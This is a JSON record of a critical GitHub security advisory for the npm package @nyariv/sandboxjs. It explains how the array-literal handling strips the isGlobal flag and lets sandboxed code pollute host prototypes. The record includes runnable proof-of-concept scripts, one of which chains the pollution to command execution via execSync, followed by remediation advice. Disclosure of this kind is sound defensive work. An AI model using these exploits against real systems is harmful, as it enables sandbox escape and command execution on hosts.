{
  "id": "GHSA-ww7g-4gwx-m7wj",
  "source": "ghsa",
  "source_url": "https://github.com/advisories/GHSA-ww7g-4gwx-m7wj",
  "summary": "@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)",
  "description": "### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {\n  const items = (b as LispItem[])\n    .map((item) => {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return item;\n      }\n    })\n    .flat()\n    .map((item) => valueOrProp(item, context));  // <- isGlobal flag lost here\n  done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n              ↓\nArray creation: isGlobal taint stripped via valueOrProp()\n              ↓\nPrototype mutation: m.cmd='id' (host prototype polluted)\n              ↓\nHost-side impact: new Map().cmd === 'id' (persistent)\n              ↓\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n  // ...\n  if (prop.isGlobal) {  // <- This check is bypassed\n    throw new SandboxError(`Cannot override global variable '${key}'`);\n  }\n  (prop.context as any)[prop.prop] = val;\n  return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const arr=[Map.prototype];\n  const p=arr[0];\n  p.polluted='pwned';\n  return 'done';\n`)().run();\n\nconsole.log('polluted' in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const s=[Set.prototype][0];\n  s.has=isFinite;\n  return 'done';\n`)().run();\n\nconsole.log('has overwritten:', Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -> execSync):\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const m=[Map.prototype][0];\n  m.cmd='id';\n  return 'done';\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).",
  "product": "@nyariv/sandboxjs",
  "severity": "critical",
  "cvss": {
    "score": 9.1,
    "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
    "version": "3.1"
  },
  "cwes": [
    "CWE-1321"
  ],
  "affected": [
    {
      "ecosystem": "npm",
      "name": "@nyariv/sandboxjs",
      "vulnerable_range": "<= 0.8.30",
      "patched_version": "0.8.31"
    }
  ],
  "references": [
    {
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj",
      "ref_type": "advisory",
      "title": null
    },
    {
      "url": "https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53",
      "ref_type": "commit",
      "title": null
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25881",
      "ref_type": "other",
      "title": null
    },
    {
      "url": "https://github.com/advisories/GHSA-ww7g-4gwx-m7wj",
      "ref_type": "advisory",
      "title": null
    }
  ],
  "aliases": [
    "CVE-2026-25881"
  ],
  "published_at": "2026-02-10T00:24:53Z",
  "ingested_at": "2026-02-19T19:30:31.378270334Z",
  "raw_source": {
    "credits": [
      {
        "type": "reporter",
        "user": {
          "avatar_url": "https://avatars.githubusercontent.com/u/85698684?v=4",
          "events_url": "https://api.github.com/users/k14uz/events{/privacy}",
          "followers_url": "https://api.github.com/users/k14uz/followers",
          "following_url": "https://api.github.com/users/k14uz/following{/other_user}",
          "gists_url": "https://api.github.com/users/k14uz/gists{/gist_id}",
          "gravatar_id": "",
          "html_url": "https://github.com/k14uz",
          "id": 85698684,
          "login": "k14uz",
          "node_id": "MDQ6VXNlcjg1Njk4Njg0",
          "organizations_url": "https://api.github.com/users/k14uz/orgs",
          "received_events_url": "https://api.github.com/users/k14uz/received_events",
          "repos_url": "https://api.github.com/users/k14uz/repos",
          "site_admin": false,
          "starred_url": "https://api.github.com/users/k14uz/starred{/owner}{/repo}",
          "subscriptions_url": "https://api.github.com/users/k14uz/subscriptions",
          "type": "User",
          "url": "https://api.github.com/users/k14uz",
          "user_view_type": "public"
        }
      }
    ],
    "cve_id": "CVE-2026-25881",
    "cvss": {
      "score": 9.1,
      "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"
    },
    "cvss_severities": {
      "cvss_v3": {
        "score": 9.1,
        "vector_string": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"
      },
      "cvss_v4": {
        "score": 0.0,
        "vector_string": null
      }
    },
    "cwes": [
      {
        "cwe_id": "CWE-1321",
        "name": "Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')"
      }
    ],
    "description": "### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {\n  const items = (b as LispItem[])\n    .map((item) => {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return item;\n      }\n    })\n    .flat()\n    .map((item) => valueOrProp(item, context));  // <- isGlobal flag lost here\n  done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n              ↓\nArray creation: isGlobal taint stripped via valueOrProp()\n              ↓\nPrototype mutation: m.cmd='id' (host prototype polluted)\n              ↓\nHost-side impact: new Map().cmd === 'id' (persistent)\n              ↓\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n  // ...\n  if (prop.isGlobal) {  // <- This check is bypassed\n    throw new SandboxError(`Cannot override global variable '${key}'`);\n  }\n  (prop.context as any)[prop.prop] = val;\n  return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const arr=[Map.prototype];\n  const p=arr[0];\n  p.polluted='pwned';\n  return 'done';\n`)().run();\n\nconsole.log('polluted' in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const s=[Set.prototype][0];\n  s.has=isFinite;\n  return 'done';\n`)().run();\n\nconsole.log('has overwritten:', Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -> execSync):\n```js\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n  const m=[Map.prototype][0];\n  m.cmd='id';\n  return 'done';\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: 'utf8' }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).",
    "epss": {
      "percentage": 0.0006,
      "percentile": 0.18776
    },
    "ghsa_id": "GHSA-ww7g-4gwx-m7wj",
    "github_reviewed_at": "2026-02-10T00:24:53Z",
    "html_url": "https://github.com/advisories/GHSA-ww7g-4gwx-m7wj",
    "identifiers": [
      {
        "type": "GHSA",
        "value": "GHSA-ww7g-4gwx-m7wj"
      },
      {
        "type": "CVE",
        "value": "CVE-2026-25881"
      }
    ],
    "nvd_published_at": "2026-02-09T22:16:03Z",
    "published_at": "2026-02-10T00:24:53Z",
    "references": [
      "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj",
      "https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53",
      "https://nvd.nist.gov/vuln/detail/CVE-2026-25881",
      "https://github.com/advisories/GHSA-ww7g-4gwx-m7wj"
    ],
    "repository_advisory_url": "https://api.github.com/repos/nyariv/SandboxJS/security-advisories/GHSA-ww7g-4gwx-m7wj",
    "severity": "critical",
    "source_code_location": "https://github.com/nyariv/SandboxJS",
    "summary": "@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)",
    "type": "reviewed",
    "updated_at": "2026-02-10T02:56:34Z",
    "url": "https://api.github.com/advisories/GHSA-ww7g-4gwx-m7wj",
    "vulnerabilities": [
      {
        "first_patched_version": "0.8.31",
        "package": {
          "ecosystem": "npm",
          "name": "@nyariv/sandboxjs"
        },
        "vulnerable_functions": [],
        "vulnerable_version_range": "<= 0.8.30"
      }
    ],
    "withdrawn_at": null
  }
}